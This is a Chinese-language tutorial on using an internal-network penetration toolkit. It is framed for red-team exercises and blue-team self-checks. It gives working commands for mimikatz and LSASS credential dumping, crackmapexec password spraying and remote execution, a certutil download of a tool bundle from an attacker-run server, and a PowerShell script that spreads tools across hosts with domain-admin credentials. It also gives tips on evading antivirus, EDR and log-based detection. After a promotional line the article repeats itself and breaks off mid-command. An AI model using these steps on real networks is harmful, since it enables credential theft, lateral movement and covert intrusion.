拓冰网站定制 
简介内网渗透测试是企业安全评估与红蓝对抗演练中的核心环节其本质是通过信息收集、权限提升、横向移动与权限维持等阶段模拟攻击者在内网环境中的完整入侵路径。在这一过程中攻防双方都高度依赖经过实战检验的工具组合mimikatz、psexec、crackmapexec等经典工具的高效配合往往决定了攻击链能否快速推进。一个组织良好的内网渗透工具包不仅是红队扩大战果的关键资产也是蓝队开展安全自查、检测异常凭据与后门的重要参考。本文从工具包目录结构出发拆解内网渗透的标准作业流程与高频踩坑点涵盖哈希校验、免杀边界、流量特征规避以及自动化分发等实战细节帮助安全工程师在真实攻防场景中更稳妥地使用这套绿色免安装的工具集合。1. 内网渗透必备工具 .zip为什么说这是蓝队和红队都绕不开的一个压缩包做过几次真实内网攻防的人大概率见过这样一个文件名字就叫“内网渗透必备工具.zip”大小可能只有几十兆解开之后是十几个到几十个不等的EXE、BAT、PS1脚本没有安装向导也没有图形界面。第一次拿到的人会有点懵这些东西怎么用哪些是真正在实战里能救命、而不是在收藏夹里吃灰的这正是我想在这篇笔记里讲清楚的事——这个zip不只是一个工具合集它代表的是内网渗透场景下“信息收集、权限维持、横向移动、痕迹清理”这一整套打法的最小落地集合。这个zip最常见的来源是攻防演练、授权评估项目里攻击队自己维护的“家底”也会出现在各种安全培训的课件附件里。它的价值不在于某个单工具而在于打包方式绿色免安装、依赖少、能在不出网的内网环境里跑起来。适合的人群有两类一类是刚入门、想搞明白内网渗透到底要准备哪些东西的初级安全工程师另一类是蓝队值守人员拿到这个zip后可以用来做自查比如查后门、查计划任务、查异常的IPC连接。这篇笔记我会从工具包里最常见的组建讲起逐步拆到目录组织、启动方式、参数调优和踩坑点尽量让新手能照着复现让熟手也能看到一些边界。2. 内网渗透工具 .zip 里到底装了什么从目录结构反推一套标准作业流程2.1 工具包的目录分类逻辑不只是“扔在一起”而是按攻击链分段我在实际项目中见到过的内网渗透工具包目录命名五花八门但内核高度一致。常见的是按“信息收集—权限提升—横向渗透—权限维持—痕迹清理”这五个阶段来分文件夹有的还会多加一个 “扫描器” 或 “代理” 目录。你在自己维护工具包时也可以按这个逻辑来它能让你在攻防演练现场不慌目标给了一台Windows服务器先打开信息收集目录接着做端口扫描、账号枚举、SMB共享枚举而不是在整个zip里到处翻。一个比较典型的目录结构大概是这样的这是我自己习惯的方式不一定和网上流传的某个版本完全一样内网渗透必备工具/ ├── 00_README.txt ├── 01_信息收集/ │ ├── nbtscan.exe │ ├── netview.exe │ ├── pslist.exe │ └── whoami.exe ├── 02_权限提升/ │ ├── windows-exploit-suggester.py │ ├── JuicyPotato.exe │ └── PrintSpoofer.exe ├── 03_横向渗透/ │ ├── mimikatz.exe │ ├── psexec.exe │ ├── wmiexec.py │ └── crackmapexec.exe ├── 04_权限维持/ │ ├── msfvenom_scripts/ │ └── schtasks_backdoor.bat ├── 05_痕迹清理/ │ ├── clearlog.exe │ └── timestomp.exe └── 06_网络代理/ ├── frp/ ├── nps/ └── stunnel/这个结构和Metasploit的模块思路很像也和Lockheed Martin提出的网络攻击杀伤链有对应关系。我个人建议不要照搬任何一个版本而是按自己最常遇到的目标环境做裁剪。如果经常打Windows域环境就把ADEnum、BloodHound放进信息收集如果经常遇到Linux服务器就准备LinEnum和linux-exploit-suggester。这样工具包才真正是“你的”不是“别人的收藏夹”。2.2 工具包里的“高频出场”成员横向渗透工具是核心资产在所有目录里我认为“横向渗透”目录是工具包的灵魂。没有它信息收集做得再好你也只能站在第一台机器上无法扩大战果。这里挑四个在攻防演练里出现频率最高的工具做说明。第一个是mimikatz.exe。它的招牌功能是抓取Windows系统里的明文口令、哈希、Kerberos票据最常见用法是privilege::debug开启调试权限再sekurlsa::logonpasswords抓取登录凭据。在实战里只要当前用户是管理员大概率能抓到本机或其他用户缓存的凭据。第二个是psexec.exe它通过IPC$共享和计划任务在远程机器上执行命令。在真实场景里当你掌握了一组域管理员账号用psexec批量在多台机器上执行同一条命令是效率极高的横向方式。注意它需要目标开启ADMIN$共享且当前账号有管理员权限。第三个是wmiexec.py这是Impacket套件里的一个脚本。它和psexec的区别是不需要开启ADMIN$共享而是走WMI的135端口。很多防护设备对psexec特征很敏感但wmiexec的流量特征相对不那么突兀所以也是常用备选。第四个是crackmapexec.exe现在更常见的是其后续版本NetExec。它把SMB、MSSQL、SSH、LDAP、WinRM等多种协议的口令验证和命令执行集中在一个工具里写脚本批量碰撞非常方便。我一般会用它先做一次全网的密码喷洒测试看看有没有通用密码然后再决定要不要上更重量级的工具。这四个工具各有偏重但共同点是都依赖已有的账号凭据都是为了从当前机器“跳到下一台机器”。所以工具包里的“横向渗透”目录本质上就是为“拿到一组凭据后能快速铺开”而准备的。实战中很多翻车不是因为工具不好用而是因为忘了先验证网络连通性和目标端口开放情况。2.3 压缩包的解压和使用原则为什么不要直接在桌面双击运行拿到“内网渗透必备工具.zip”之后第一步不是解压而是先确认哈希。在攻防演练里工具包经过多渠道传递你没法确定这个zip是否被动过手脚。常见做法是在隔离环境里先校验MD5或SHA256再解压。Windows下用certutil -hashfile 内网渗透必备工具.zip SHA256就能算Linux下用sha256sum。解压后还有个容易被忽略的问题路径中尽量不要有中文和空格。很多安全工具对路径解析很敏感尤其是在内网环境下通过命令行调用时空格可能导致参数被截断。我见过有人把工具包放在“C:\Users\张三\桌面\内网渗透必备工具 2024版”下面结果运行psexec时各种报错折腾半天就是路径问题。规范做法是放到一个纯英文路径比如C:\tools\。这也是zip工具包和安装版软件在使用上一个很大的不同。另外绝大多数工具都需要在命令行里运行所以第一次使用前建议先把工具包目录加入环境变量PATH或者在每个目录里写好一个run.bat把常用命令固化进去。我一般会写类似这样的批处理echo off set PATH%PATH%;C:\tools\03_横向渗透 mimikatz.exe privilege::debug sekurlsa::logonpasswords这段脚本的逻辑是先把目录追加进PATH再直接调用mimikatz。好处是省去每次打全路径的麻烦坏处是PATH被临时污染如果有同名工具可能冲突——所以在执行完一轮操作后最好关掉这个命令窗口避免后续命令错调了二进制。3. 用 zip 里的工具完成一次最小闭环从信息收集到横向渗透的实战操作路径3.1 第一步用内置脚本快速绘制内网拓扑拿到目标的一个普通权限后第一件事不是急着提权或抓密码而是搞清楚“我在哪、旁边有什么”。这需要用工具包里的信息收集工具做一轮基础探测。我常用的组合是ipconfig /all看本机网段、DNS后缀和网关再用nbtscan扫描当前网段内的NetBIOS名称用netview枚举共享资源。假设当前网段是192.168.10.0/24我一般会按下面几步走ipconfig /all nbtscan 192.168.10.0/24 net view /all第一行是看本机IP、掩码、网关和DNS后缀判断当前处于哪个隔离网段第二行是扫描同网段所有存活主机的NetBIOS名称和MAC能快速分辨出Windows机器、打印服务器和域控制器第三行是枚举当前域或工作组里的共享资源很多时候内网文件服务器的共享目录里就摆着敏感文档甚至还有管理员留下的脚本和密码文件。参数说明nbtscan是命令行工具格式是nbtscan 网段不加参数时输出IP、NetBIOS名、用户名和MAC前缀。如果你发现某些主机只返回了IP但没有NetBIOS名那大概率是Linux或开启了防火墙的主机后续渗透方向要区分对待。这三条命令跑完你已经有了一个粗糙的内网拓扑哪些是Windows、哪些可能是域控、哪些开了共享。在这个基础上再决定下一步是直接横向还是先提权。3.2 第二步抓取本机凭据并判断当前权限级别信息收集做完接下来要判断当前权限。内网渗透里普通用户和管理员用户的打法完全不同。普通用户只能在自己可控的范围内活动管理员则往往可以直接拿到本机SAM哈希甚至能抓到域管缓存。工具包里常见的whoami /all和net localgroup administrators可以用来快速判断。我一般会先执行whoami /groups net localgroup administrators第一条命令看当前用户的Token里有没有SeDebugPrivilege或SeImpersonatePrivilege这直接决定你能不能跑mimikatz的privilege::debug也决定你能不能尝试PrintSpoofer之类的提权利用第二条命令看本机管理员组里有哪些成员如果发现有域管理员账号存在说明这台机器很可能是管理员日常登录过的机器抓密码会更有价值。如果当前是管理员权限我通常直接跑mimikatz抓取缓存凭据mimikatz.exe privilege::debug sekurlsa::logonpasswordsprivilege::debug是让mimikatz开启调试权限这是抓取内存凭据的前提sekurlsa::logonpasswords从LSASS进程内存中提取明文密码和哈希。在Windows 10以上系统里明文密码往往提取不到但NTLM哈希大概率能拿到。有了NTLM哈希在支持Pass The Hash的横向工具里就可以直接换取远程命令执行权限不需要知道明文。需要特别提醒一点mimikatz在部分杀软眼里是直接拉黑的解压出来就可能被删。常见做法是把mimikatz的exe重命名或者放在压缩包里加密存储到用时再解压。但更重要的一点是——在真实攻防演练中目标机器上的EDR可能已经把LSASS进程访问作为高危行为上报了。所以抓凭据这个动作不是无成本的优先选择在有把握不被盯上的机器上执行。3.3 第三步批量验证凭据并横向扩散拿到一组账号密码或哈希之后最忌讳的是拿同一个账号在几十台机器上挨个登录那会产生大量登录失败事件蓝队溯源的日志一眼就能看出来等于主动暴露行踪。比较稳的做法是先用crackmapexec做一轮轻量探测确认哪些IP上当前账号真的是管理员。例如已经拿到了一个域用户corp\admin01的密码我一般先用crackmapexec验证一下它对网段内主机的有效性避免直接在目标机器上试错crackmapexec smb 192.168.10.0/24 -u admin01 -p Pssw0rd --continue-on-success这段命令会对192.168.10.0/24网段内的所有主机做SMB登录验证--continue-on-success表示即便某台机器成功登录也继续扫其他机器而不是停下来。输出的结果里会出现[]标志说明该账号在这台机器上有管理员权限。这一步完成之后横向目标清单就非常明确了。然后对确认有权限的主机执行远程命令crackmapexec smb 192.168.10.15 192.168.10.23 -u admin01 -p Pssw0rd -x whoami-x参数是在目标系统上执行命令。如果权限到位你会看到每台目标机的whoami输出。这个阶段需要控制节奏不要一口气批量在50台机器上执行命令蓝队的告警阈值往往设置在一段时间内来自同源IP的异常登录次数超过N次就会触发。我一般习惯分两批执行每批控制在10台以内中间间隔几分钟。这不只是玄学而是给日志留出“被淹没”的窗口。3.4 边路绕过为什么有时要先把zip里的工具传到目标机器上再执行很多刚从外网打进来的新手会默认工具在自己机器上执行远程命令时调用本机工具就行。但在真实内网环境里从你的操作机直接到目标机器的SMB、WMI、PsExec流量经常会被防火墙或安全设备拦截尤其是跨网段横向移动时攻击机IP往往不在目标网段的ACL放行范围里。这时候常见做法是“跳板执行”先把工具包里的静态编译版本传到目标机器上在目标机器本地执行。比如你已经通过wmiexec在一台机器上拿到了shell就可以把整个zip传到那台机器上再以它为跳板继续往下一层渗透。传输可以用smbclient、certutil或者直接FTP但要注意大文件传输在内网环境下不算隐蔽操作建议先传一个精简版只带mimikatz和psexec两个工具而不要每次传整个100MB的工具包。我在实际操作中会传一个“精简压缩包”里面只放当前阶段需要的工具cd /tmp tar czf mini_tools.tar.gz mimikatz.exe psexec.exe procdump.exe certutil -urlcache -split -f http://你的临时服务器/mini_tools.tar.gz C:\Windows\Temp\mini_tools.tar.gz这是一种常见的临时文件传输方式。逻辑是用certutil从HTTP服务器下载文件到目标机器好处是Windows自带不需要额外安装任何客户端。但要注意现代EDR对certutil下载文件的监控已经很成熟了连续多台机器用同一条命令必然触发告警。更稳妥的方式是换不同机器用不同下载命令或者把文件拆成小份分段拉取。4. 内网渗透工具包的五个高频踩坑点哈希校验、杀软误报、参数失效和流量特征4.1 杀软把你精心准备的工具包当病毒清掉了先做白名单例外再分发现象解压“内网渗透必备工具.zip”后文件夹里只剩几个无关轻量级的exemimikatz、psexec等核心工具不见了杀毒软件弹出“已检测到威胁”的提示。这几乎是每个初用工具包的人都会遇到的翻车现场。原因安全工具本身就是黑客工具杀软查杀是它们的本职工作。尤其mimikatz这种特征极其明显的程序基本上所有主流杀软都会秒删。这不是工具包有问题而是你分发时没有考虑目标机器的安全软件策略。解决在攻防演练的前期准备阶段就把工具包所在目录加入杀软白名单或者至少在专用虚拟机上关闭实时防护后再解压。如果目标环境已有EDR且无法控制就要避免把原始工具包传到目标机器上改为传一些改名的、加壳的、或者用自己编译的版本替代。还有一个比较笨但有效的办法把工具包用带密码的zip压缩存放用到哪个解压哪个避免一次性暴露所有工具。4.2 mimikatz 执行没反应不是工具不行而是权限不够现象运行mimikatz.exe privilege::debug返回ERROR kuhl_m_privilege_control; RtlAdjustPrivilege (20) - 0x80052205。原因当前进程没有以管理员权限运行无法开启调试特权。这看起来是个很简单的问题但在真实渗透里很容易翻车——你用wmiexec获得的shell往往是SYSTEM权限或管理员权限而用普通的cmd窗口打开mimikatz则只是当前登录用户的权限两者差别巨大。解决把mimikatz放到目标机器上后先用whoami /priv确认当前权限如果不够先提权到管理员或SYSTEM再执行。在本地测试时则要右键“以管理员身份运行”。另外还有一种常见情况是Windows的Credential Guard拦截了sekurlsa::logonpasswords这种情况下mimikatz会报LSA Protection相关错误可以考虑直接procdump.exe -ma lsass.exe把LSASS进程内存dump下来再到本地机器上离线解析。4.3 横向渗透工具执行后返回0但目标没有任何反应检查防火墙和SMB签名现象crackmapexec显示某台机器账号登录成功但执行-x whoami时卡住或半天没有输出psexec提示连接成功但命令没结果。原因最常见的是目标Windows防火墙默认屏蔽了ADMIN$共享的访问其次是目标开启了SMB签名要求psexec这种老牌工具在SMB签名协商上兼容性并不好另外某些安全设备会阻断SMB远程创建服务的流量导致psexec建立服务成功但后续通道被掐断。解决优先排除网络连通性用Test-NetConnection 目标IP -Port 445确认SMB端口是否可通然后换用wmiexec或WinRM方式执行它们走135或5985端口防火墙策略可能不一样。psexec连接成功但没有回显时可以先用-s参数指定以SYSTEM权限运行排除权限引起的回显异常。4.4 工具包里的脚本没考虑到目标机器的系统版本老工具跑新系统很容易失效现象在Windows Server 2019或Windows 11上运行早期的提权脚本报错缺dll或直接无法启动。原因很多内网渗透工具是很多年前编译的依赖旧版Visual C运行库新系统没有这些运行库另一方面新版本Windows默认启用了更强的缓解措施旧版提权exp往往因为地址布局随机化ASLR或数据执行保护DEP直接崩溃。解决工具包最好按“Windows Server 2008/2012”、“Windows Server 2016”、“Windows 10/11”分类维护不能用一套工具通吃所有版本。在实战中拿不准时先用systeminfo查看系统版本和补丁号再到工具包里挑对应版本的利用程序。不要拿到什么工具都往上扔那是对目标环境的不负责任也是对自己时间的不尊重。4.5 蓝队不是瞎的工具包本身也在制造大量告警流量现象一场演练下来蓝队给出溯源报告里面直接列出了“攻击者使用了内网渗透必备工具.zip中的psexec.exe和mimikatz.exe”甚至标注了精确到秒的利用时间。原因工具包虽然绿色免安装但它在目标机器上的行为特征极度明显。psexec会在Windows里创建服务服务名还很有规律mimikatz访问LSASS进程EDR直接就标记高可疑用crackmapexec做密码喷洒几百条登录失败日志同时在多台机器出现。工具包能绕过的只是“安装”这个门槛绕不过行为检测。解决在实际项目中把工具包当成参考手册而不是必胜法宝。如果不是真正必要的场景优先选择目标系统原生自带的功能比如PowerShell、WMIC、schtasks来完成操作工具包只是在效率上做增强。我的习惯是能用PowerShell一条命令搞定的绝不额外上传工具一定要上传工具时用改名压缩加密组合来降低静态检测风险。这条习惯在蓝队日益成熟的今天越来越不是选项而是必须。5. 镜像站里下载的zip和真实攻防里的zip如何辨别工具包的可靠性与时效性5.1 别拿到什么就用什么先检查编译时间和哈希是否匹配网上流传的“内网渗透必备工具.zip”版本很多实际上谁都说不清哪个是最权威的版本因为工具包本质上是个人维护的没有官方发布渠道。所以判断一个工具包是否可靠第一原则是先看工具包内每个exe的编译时间。打开文件属性查看“产品版本”和“原始文件名”如果某个工具是2012年编译的大概率对Windows 10/11环境效果非常有限。其次是对照官方GitHub发布的Release哈希。比如crackmapexec的新版本NetExec在GitHub上会发布源码包和Windows可执行文件你可以用官方哈希校验下载的exe是否被篡改。这在工具包被多次转手的场景下尤其重要——你没法保证某个中间人没有在zip里塞进自己的后门。我见过一个经典翻车案例某位安全工程师从“内部群”拿到一个声称是最新版的mimikatz结果一运行自己机器先弹了个反向Shell回来。这种“工具包投毒”在安全圈不算罕见甚至可以说这是攻击队喜欢使用的一种反制手段。所以每次拿到新工具包第一件事是验哈希第二件事是放虚拟机里跑一遍看流量特征而不是直接上真实目标。5.2 工具包的“版本漂移”问题zip内部文件总是老得更快有很多工具包在刚整理出来时是好用的但过了一年就渐渐不灵了。原因是内网渗透的工具更新周期很快尤其提权exp和凭据抓取工具需要跟随操作系统补丁变化不断适配。现在很多团队已经在用工具包的持续集成方式维护一个Git仓库每次更新时自动构建Windows版本然后用7-Zip打成zip发布。如果你要自己维护一个长期使用的工具包我建议按这个思路来做工具包目录/ ├── README.md ├── build.ps1 ├── bin/ # 存放从GitHub Release下载的原始exe └── tools/ # 按用途分类的目录构建脚本自动更新写一个简单的PowerShell构建脚本每次拉取最新工具后更新解压目录。这样能确保zip里不是一堆“上古遗物”。虽然听起来麻烦但在关键项目里正是一个新版本的提权exp让你从困境中走出来而老版本只能让你对着目标系统干瞪眼。工具包不是收藏品而是消耗品用这个心态去维护它才对。5.3 拿到工具包后要不要加密压缩关于zip密码和免杀的一点思考很多流传的zip下载链接都带密码这有两种可能一种是作者不希望工具被搜索引擎直接抓取内容给压缩包加个密码减少被滥用另一种是压缩包内确实含有不便于公开免杀处理的特殊组件。但站在使用者角度加密zip完全不影响使用——你只要知道密码就行。不过有一件事新手很容易误解zip加密不等于免杀。杀软查杀的是解压后的exe文件内容zip解压到内存里的瞬间就被监控了。所以如果你把“内网渗透必备工具.zip”解压后直接复制到目标机器杀软一样会秒删。真正需要的免杀处理是另一个领域的事通常意味着对二进制做混淆、加壳、或者改成自写Loader这已经超出了“zip工具包”的范畴。6. 自动化部署内网工具包到多台机器用PowerShell构建一个临时“工具分发器”到了这个阶段你已经知道了工具包里的东西怎么用、坑在哪、如何辨别可靠性。最后一个值得做的进阶动作是把工具包分发的动作自动化。在做横向移动时手动一台台传文件效率极低不如写一个PowerShell脚本把zip解压到每台目标机器的指定目录并在解压后自动执行基础信息收集命令把结果回传到指定位置。这里给出一个我在内网演练中常用的自动化分发脚本框架使用PowerShell编写$targets (192.168.10.15, 192.168.10.23, 192.168.10.31) $username corp\admin01 $password ConvertTo-SecureString Pssw0rd -AsPlainText -Force $cred New-Object System.Management.Automation.PSCredential($username, $password) $remotePath C:\Windows\Temp\tools.zip $localZip C:\tools\tools.zip $extractDir C:\Windows\Temp\internal_tools foreach ($target in $targets) { Write-Host [*] 正在处理 $target New-SmbMapping -RemotePath \\$target\C$ -Credential $cred Copy-Item $localZip -Destination \\$target\C$\Windows\Temp\tools.zip -Force Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock { param($zip, $dest) if (-not (Test-Path $dest)) { New-Item -ItemType Directory -Path $dest -Force | Out-Null } Expand-Archive -Path $zip -DestinationPath $dest -Force } -ArgumentList $remotePath, $extractDir Remove-SmbMapping -RemotePath \\$target\C$ -Force }这段脚本的核心逻辑是先建立到目标C$共享的映射复制zip过去再通过WinRM远程执行解压。参数说明$targets是目标IP列表$cred是域管理员凭据$remotePath是目标机器上zip的落地路径$extractDir是解压后的目录。New-SmbMapping和Remove-SmbMapping是建立与断开SMB映射Invoke-Command走的是WinRM协议5985端口。使用时有三个注意点第一这个脚本是明文密码写死在代码里的所以只适合临时使用用完立刻清理。更安全的做法是改为在脚本执行时用Get-Credential交互输入或从受保护的文件里读取加密凭据。第二WinRM服务不是每台Windows机器都默认开启的。如果Invoke-Command报错“无法连接到远程服务器”可以先在目标机器上开启WinRM服务。但要注意在你已经拿到管理员权限的前提下用sc \\目标IP config WinRM start auto远程开启也是可行的。第三Expand-Archive在目标机器上解压时如果zip里的可执行文件被杀软监控可能在解压完成前就被删除。所以脚本里应该加上一个解压完成后的校验步骤比如检查关键工具的哈希或文件是否存在。写完脚本后我再强调一下验证的重要性。拿到一个新维护的工具包不要直接全量分发到多台机器上做横向移动。哪怕是同一段网段里每台机器的系统版本、补丁情况、安全软件策略都可能有差异工具在不同机器上的表现也可能完全不同。正确做法是先挑一台不影响业务系统的测试机跑一遍完整的“解压—校验—执行—清理”流程确认没有问题后再批量分发。这个过程不复杂但能帮你避免在关键时刻才发现工具被删、脚本报错、执行结果为空等一系列问题。最后说一个我自己的习惯工具包的使用记录一定要留档包括哪天、在哪台机器上、用了哪个工具、执行了什么命令。不只是为了复盘更是为了在出问题时能快速定位是不是自己操作导致的——这个习惯在红队和蓝队工作里都是通用的。希望这篇笔记能帮你在拿到“内网渗透必备工具.zip”时少走一些弯路也希望你维护工具包时能用更工程化的方式对待它而不是把它当成一个黑匣子般的神秘压缩包。本文还有配套的精品资源点击获取 内网渗透必备工具.zip：从目录结构到实战操作的全拆解
简介内网渗透测试是企业安全评估与红蓝对抗演练中的核心环节其本质是通过信息收集、权限提升、横向移动与权限维持等阶段模拟攻击者在内网环境中的完整入侵路径。在这一过程中攻防双方都高度依赖经过实战检验的工具组合mimikatz、psexec、crackmapexec等经典工具的高效配合往往决定了攻击链能否快速推进。一个组织良好的内网渗透工具包不仅是红队扩大战果的关键资产也是蓝队开展安全自查、检测异常凭据与后门的重要参考。本文从工具包目录结构出发拆解内网渗透的标准作业流程与高频踩坑点涵盖哈希校验、免杀边界、流量特征规避以及自动化分发等实战细节帮助安全工程师在真实攻防场景中更稳妥地使用这套绿色免安装的工具集合。1. 内网渗透必备工具 .zip为什么说这是蓝队和红队都绕不开的一个压缩包做过几次真实内网攻防的人大概率见过这样一个文件名字就叫“内网渗透必备工具.zip”大小可能只有几十兆解开之后是十几个到几十个不等的EXE、BAT、PS1脚本没有安装向导也没有图形界面。第一次拿到的人会有点懵这些东西怎么用哪些是真正在实战里能救命、而不是在收藏夹里吃灰的这正是我想在这篇笔记里讲清楚的事——这个zip不只是一个工具合集它代表的是内网渗透场景下“信息收集、权限维持、横向移动、痕迹清理”这一整套打法的最小落地集合。这个zip最常见的来源是攻防演练、授权评估项目里攻击队自己维护的“家底”也会出现在各种安全培训的课件附件里。它的价值不在于某个单工具而在于打包方式绿色免安装、依赖少、能在不出网的内网环境里跑起来。适合的人群有两类一类是刚入门、想搞明白内网渗透到底要准备哪些东西的初级安全工程师另一类是蓝队值守人员拿到这个zip后可以用来做自查比如查后门、查计划任务、查异常的IPC连接。这篇笔记我会从工具包里最常见的组建讲起逐步拆到目录组织、启动方式、参数调优和踩坑点尽量让新手能照着复现让熟手也能看到一些边界。2. 内网渗透工具 .zip 里到底装了什么从目录结构反推一套标准作业流程2.1 工具包的目录分类逻辑不只是“扔在一起”而是按攻击链分段我在实际项目中见到过的内网渗透工具包目录命名五花八门但内核高度一致。常见的是按“信息收集—权限提升—横向渗透—权限维持—痕迹清理”这五个阶段来分文件夹有的还会多加一个 “扫描器” 或 “代理” 目录。你在自己维护工具包时也可以按这个逻辑来它能让你在攻防演练现场不慌目标给了一台Windows服务器先打开信息收集目录接着做端口扫描、账号枚举、SMB共享枚举而不是在整个zip里到处翻。一个比较典型的目录结构大概是这样的这是我自己习惯的方式不一定和网上流传的某个版本完全一样内网渗透必备工具/ ├── 00_README.txt ├── 01_信息收集/ │ ├── nbtscan.exe │ ├── netview.exe │ ├── pslist.exe │ └── whoami.exe ├── 02_权限提升/ │ ├── windows-exploit-suggester.py │ ├── JuicyPotato.exe │ └── PrintSpoofer.exe ├── 03_横向渗透/ │ ├── mimikatz.exe │ ├── psexec.exe │ ├── wmiexec.py │ └── crackmapexec.exe ├── 04_权限维持/ │ ├── msfvenom_scripts/ │ └── schtasks_backdoor.bat ├── 05_痕迹清理/ │ ├── clearlog.exe │ └── timestomp.exe └── 06_网络代理/ ├── frp/ ├── nps/ └── stunnel/这个结构和Metasploit的模块思路很像也和Lockheed Martin提出的网络攻击杀伤链有对应关系。我个人建议不要照搬任何一个版本而是按自己最常遇到的目标环境做裁剪。如果经常打Windows域环境就把ADEnum、BloodHound放进信息收集如果经常遇到Linux服务器就准备LinEnum和linux-exploit-suggester。这样工具包才真正是“你的”不是“别人的收藏夹”。2.2 工具包里的“高频出场”成员横向渗透工具是核心资产在所有目录里我认为“横向渗透”目录是工具包的灵魂。没有它信息收集做得再好你也只能站在第一台机器上无法扩大战果。这里挑四个在攻防演练里出现频率最高的工具做说明。第一个是mimikatz.exe。它的招牌功能是抓取Windows系统里的明文口令、哈希、Kerberos票据最常见用法是privilege::debug开启调试权限再sekurlsa::logonpasswords抓取登录凭据。在实战里只要当前用户是管理员大概率能抓到本机或其他用户缓存的凭据。第二个是psexec.exe它通过IPC$共享和计划任务在远程机器上执行命令。在真实场景里当你掌握了一组域管理员账号用psexec批量在多台机器上执行同一条命令是效率极高的横向方式。注意它需要目标开启ADMIN$共享且当前账号有管理员权限。第三个是wmiexec.py这是Impacket套件里的一个脚本。它和psexec的区别是不需要开启ADMIN$共享而是走WMI的135端口。很多防护设备对psexec特征很敏感但wmiexec的流量特征相对不那么突兀所以也是常用备选。第四个是crackmapexec.exe现在更常见的是其后续版本NetExec。它把SMB、MSSQL、SSH、LDAP、WinRM等多种协议的口令验证和命令执行集中在一个工具里写脚本批量碰撞非常方便。我一般会用它先做一次全网的密码喷洒测试看看有没有通用密码然后再决定要不要上更重量级的工具。这四个工具各有偏重但共同点是都依赖已有的账号凭据都是为了从当前机器“跳到下一台机器”。所以工具包里的“横向渗透”目录本质上就是为“拿到一组凭据后能快速铺开”而准备的。实战中很多翻车不是因为工具不好用而是因为忘了先验证网络连通性和目标端口开放情况。2.3 压缩包的解压和使用原则为什么不要直接在桌面双击运行拿到“内网渗透必备工具.zip”之后第一步不是解压而是先确认哈希。在攻防演练里工具包经过多渠道传递你没法确定这个zip是否被动过手脚。常见做法是在隔离环境里先校验MD5或SHA256再解压。Windows下用certutil -hashfile 内网渗透必备工具.zip SHA256就能算Linux下用sha256sum。解压后还有个容易被忽略的问题路径中尽量不要有中文和空格。很多安全工具对路径解析很敏感尤其是在内网环境下通过命令行调用时空格可能导致参数被截断。我见过有人把工具包放在“C:\Users\张三\桌面\内网渗透必备工具 2024版”下面结果运行psexec时各种报错折腾半天就是路径问题。规范做法是放到一个纯英文路径比如C:\tools\。这也是zip工具包和安装版软件在使用上一个很大的不同。另外绝大多数工具都需要在命令行里运行所以第一次使用前建议先把工具包目录加入环境变量PATH或者在每个目录里写好一个run.bat把常用命令固化进去。我一般会写类似这样的批处理echo off set PATH%PATH%;C:\tools\03_横向渗透 mimikatz.exe privilege::debug sekurlsa::logonpasswords这段脚本的逻辑是先把目录追加进PATH再直接调用mimikatz。好处是省去每次打全路径的麻烦坏处是PATH被临时污染如果有同名工具可能冲突——所以在执行完一轮操作后最好关掉这个命令窗口避免后续命令错调了二进制。3. 用 zip 里的工具完成一次最小闭环从信息收集到横向渗透的实战操作路径3.1 第一步用内置脚本快速绘制内网拓扑拿到目标的一个普通权限后第一件事不是急着提权或抓密码而是搞清楚“我在哪、旁边有什么”。这需要用工具包里的信息收集工具做一轮基础探测。我常用的组合是ipconfig /all看本机网段、DNS后缀和网关再用nbtscan扫描当前网段内的NetBIOS名称用netview枚举共享资源。假设当前网段是192.168.10.0/24我一般会按下面几步走ipconfig /all nbtscan 192.168.10.0/24 net view /all第一行是看本机IP、掩码、网关和DNS后缀判断当前处于哪个隔离网段第二行是扫描同网段所有存活主机的NetBIOS名称和MAC能快速分辨出Windows机器、打印服务器和域控制器第三行是枚举当前域或工作组里的共享资源很多时候内网文件服务器的共享目录里就摆着敏感文档甚至还有管理员留下的脚本和密码文件。参数说明nbtscan是命令行工具格式是nbtscan 网段不加参数时输出IP、NetBIOS名、用户名和MAC前缀。如果你发现某些主机只返回了IP但没有NetBIOS名那大概率是Linux或开启了防火墙的主机后续渗透方向要区分对待。这三条命令跑完你已经有了一个粗糙的内网拓扑哪些是Windows、哪些可能是域控、哪些开了共享。在这个基础上再决定下一步是直接横向还是先提权。3.2 第二步抓取本机凭据并判断当前权限级别信息收集做完接下来要判断当前权限。内网渗透里普通用户和管理员用户的打法完全不同。普通用户只能在自己可控的范围内活动管理员则往往可以直接拿到本机SAM哈希甚至能抓到域管缓存。工具包里常见的whoami /all和net localgroup administrators可以用来快速判断。我一般会先执行whoami /groups net localgroup administrators第一条命令看当前用户的Token里有没有SeDebugPrivilege或SeImpersonatePrivilege这直接决定你能不能跑mimikatz的privilege::debug也决定你能不能尝试PrintSpoofer之类的提权利用第二条命令看本机管理员组里有哪些成员如果发现有域管理员账号存在说明这台机器很可能是管理员日常登录过的机器抓密码会更有价值。如果当前是管理员权限我通常直接跑mimikatz抓取缓存凭据mimikatz.exe privilege::debug sekurlsa::logonpasswordsprivilege::debug是让mimikatz开启调试权限这是抓取内存凭据的前提sekurlsa::logonpasswords从LSASS进程内存中提取明文密码和哈希。在Windows 10以上系统里明文密码往往提取不到但NTLM哈希大概率能拿到。有了NTLM哈希在支持Pass The Hash的横向工具里就可以直接换取远程命令执行权限不需要知道明文。需要特别提醒一点mimikatz在部分杀软眼里是直接拉黑的解压出来就可能被删。常见做法是把mimikatz的exe重命名或者放在压缩包里加密存储到用时再解压。但更重要的一点是——在真实攻防演练中目标机器上的EDR可能已经把LSASS进程访问作为高危行为上报了。所以抓凭据这个动作不是无成本的优先选择在有把握不被盯上的机器上执行。3.3 第三步批量验证凭据并横向扩散拿到一组账号密码或哈希之后最忌讳的是拿同一个账号在几十台机器上挨个登录那会产生大量登录失败事件蓝队溯源的日志一眼就能看出来等于主动暴露行踪。比较稳的做法是先用crackmapexec做一轮轻量探测确认哪些IP上当前账号真的是管理员。例如已经拿到了一个域用户corp\admin01的密码我一般先用crackmapexec验证一下它对网段内主机的有效性避免直接在目标机器上试错crackmapexec smb 192.168.10.0/24 -u admin01 -p Pssw0rd --continue-on-success这段命令会对192.168.10.0/24网段内的所有主机做SMB登录验证--continue-on-success表示即便某台机器成功登录也继续扫其他机器而不是停下来。输出的结果里会出现[]标志说明该账号在这台机器上有管理员权限。这一步完成之后横向目标清单就非常明确了。然后对确认有权限的主机执行远程命令crackmapexec smb 192.168.10.15 192.168.10.23 -u admin01 -p Pssw0rd -x 